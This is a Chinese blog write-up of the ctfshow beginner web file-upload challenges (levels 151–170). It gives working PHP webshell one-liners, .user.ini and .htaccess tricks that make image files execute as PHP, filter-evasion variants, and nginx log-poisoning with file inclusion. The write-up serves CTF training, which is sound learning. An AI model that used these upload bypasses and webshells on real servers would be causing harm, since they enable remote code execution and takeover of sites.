ctfshow-web入门-文件上传

本文介绍了Web入门阶段关于文件上传的安全挑战,包括前端与后端校验的不足,如何利用.user.ini、PHP后门、MIME验证、文件类型检查、日志注入等技巧绕过限制,以及常见的漏洞如远程文件包含和代码变异。
摘要由CSDN通过智能技术生成

web入门–151

前端校验不可靠:前端代码可由用户随意更改,校验方式也能更改
在这里插入图片描述
更改校验内容为php,上传x.php,并用蚁剑连接,在目录中找到flag.php
在这里插入图片描述

web入门–152

前端校验:同less-151
后端校验:MIME验证

MIME:文件类型检测
通用结构:type/subtype

仅MIME作为后端校验不够严密
在这里插入图片描述

web入门–153

先上传.user.ini配置文件,通过.user.ini使得upload文件夹下每个php文件在文件头都包含1.png文件
在这里插入图片描述
上传包含恶意代码的1.png(png图片里有php后门代码,但是图片格式不能被触发,所以连接不上后门,要通过.user.ini才能以php形式运行)
在这里插入图片描述
蚁剑连接/upload/index.php即可

web入门–154 & 155

上传.user.ini成功
上传包含木马的1.png失败,说明本关加入了内容检测(经过尝试后发现对"<?php"进行了过滤,考虑使用php短标记来绕过) ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/10bd861a5cce4cb2bce140ea169cb03c.png) 代码改为:<?=eval($_POST['chopper']);?> 即可

web入门–156

过滤了“[]”,使用 <?=eval($_POST{'chopper'});?> 即可

web入门–157 & 158

过滤严重(甚至包含";")
使用 <?=system('tac ../flag.*')?> 作为1.png传输

在这里插入图片描述

访问url/upload即可(upload自动调用index.php,index.php又自动调用1.png中的system代码(.user.ini设置的结果))

web入门–159

使用反引号运算符的效果与shell_exec()相同

使用 <?=`tac ../f*`?> 作为1.png传输,访问url/upload即可

web入门–160

日志记录UA头,UA头写后门代码,就把后门植入到日志中,再文件包含日志即可EXP

1.上传.user.ini
2.上传1.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>(nginx的日志文件默认路径,已经进行了对“log”过滤的绕过)
3.在UA头中植入后门
在这里插入图片描述
访问/upload则可以找到flag(日志文件中)

web入门–161

验证文件头(png的文件头是GIF89a)

如图,要添加GIF89a才能上传成功
在这里插入图片描述
其余流程同less-160

web入门–162 & 163

远程文件包含

web入门–164 & 165

二次文件渲染

web入门–166

(压缩包文件漏洞(类似文件下载漏洞))
上传zip文件
在这里插入图片描述
访问后门执行恶意代码

在这里插入图片描述

web入门–167

上传含后门的jpg文件
在这里插入图片描述

在这里插入图片描述
.htacess
AddType application/x-httpd-php .jpg
(.jpg为后缀的任意文件将以application/x-httpd-php形式被解析)

web入门–168

简单的代码变异(免杀)
在这里插入图片描述

web入门–169 & 170

访问日志文件
在这里插入图片描述
让日志记录后门并利用
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值